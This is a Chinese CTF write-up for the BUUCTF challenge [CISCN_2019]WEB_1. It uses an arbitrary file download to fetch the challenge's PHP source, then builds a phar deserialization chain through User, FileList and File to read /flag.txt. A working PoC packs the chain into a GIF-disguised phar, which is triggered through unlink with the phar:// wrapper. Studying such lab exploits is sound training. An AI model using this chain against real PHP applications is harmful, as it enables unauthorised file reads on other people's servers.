BUUCTF-日刷-[CISCN_2019]WEB_1/反序列化之phar
进去发现是个登入页面，注册登入
发现进入一个文件上传页面
随便上传一个文件，点击下载并且抓包
发现传入参数是文件名，猜测存在任意文件下载漏洞
发现确实存在任意文件下载漏洞，尝试看看根目录有无flag，没找到
注意这里下载不能下载带有flag字段的文件，猜测根目录有flag
尝试下载php代码审计
index.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } ?> <!DOCTYPE html> <html> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>网盘管理</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <link href="static/css/panel.css" rel="stylesheet"> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> <script src="static/js/panel.js"></script> </head> <body> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item active">管理面板</li> <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li> <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li> </ol> </nav> <input type="file" id="fileInput" class="hidden"> <div class="top" id="toast-container"></div> <?php include "class.php"; $a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); ?>
class.php <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
login.php
<?php session_start(); if (isset($_SESSION['login'])) { header("Location: index.php"); die(); } ?> <!doctype html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <title>登录</title> <!-- Bootstrap core CSS --> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <style> .bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; } @media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } } </style> <!-- Custom styles for this template --> <link href="static/css/std.css" rel="stylesheet"> </head> <body class="text-center"> <form class="form-signin" action="login.php" method="POST"> <h1 class="h3 mb-3 font-weight-normal">登录</h1> <label for="username" class="sr-only">Username</label> <input type="text" name="username" class="form-control" placeholder="Username" required autofocus> <label for="password" class="sr-only">Password</label> <input type="password" name="password" class="form-control" placeholder="Password" required> <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button> <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p> <p class="text-muted">© 2018-2019</p> </form> <div class="top" id="toast-container"></div> </body> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> </html> <?php include "class.php"; if (isset($_GET['register'])) { echo "<script>toast('注册成功', 'info');</script>"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo("<script>window.location.href='index.php';</script>"); die(); } echo "<script>toast('账号或密码错误', 'warning');</script>"; } ?>
首先审计代码估计是序列化，但是没发现哪里有unserialize函数
百度得知用phar进行反序列化
当我们用以下函数打开涉及到phar文件时会反序列化里面的序列化数据
这题主要用到unlink函数
下面就是寻找利用点
主要是看class.php里面file类里的close函数，这里有个文件读取
想办法调用它，发现user类可以调用db变量里的close函数，第一想法是让db等于file，但这样是不行的
因为这样怎么输出return的文件值呢？
实际上要靠FileList的析构函数输出在表格里面
审计可知表格里面输出的是$result
看构造函数，$result是对$ file执行funcs的结果
那就想办法让$file等于file类，funcs等于的close方法即可
因为user类析构方法调用db里的close函数，让db等于filelist，但是filelist里面没有close方法，就会调用__call方法。
对$file变量中每一个值执行close函数，那么让$file变量（一个数组）含有file类即可
poc如下（对phar进行了打包）
<?php @unlink('phar.gif'); class User { public $db; public function __construct() { $this->db = new FileList(); } } class FileList { private $files; public function __construct() { $this->files = array(new File()); } } class File { public $filename = '/flag.txt'; } $phar = new Phar('phar.phar'); $phar->setStub('GIF89a'.'__HALT_COMPILER();'); $phar->setMetadata(new User()); $phar->addFromString('1.txt','1'); rename('phar.phar','phar.gif'); ?>
上传成功后点击，删除抓包
加上phar伪协议
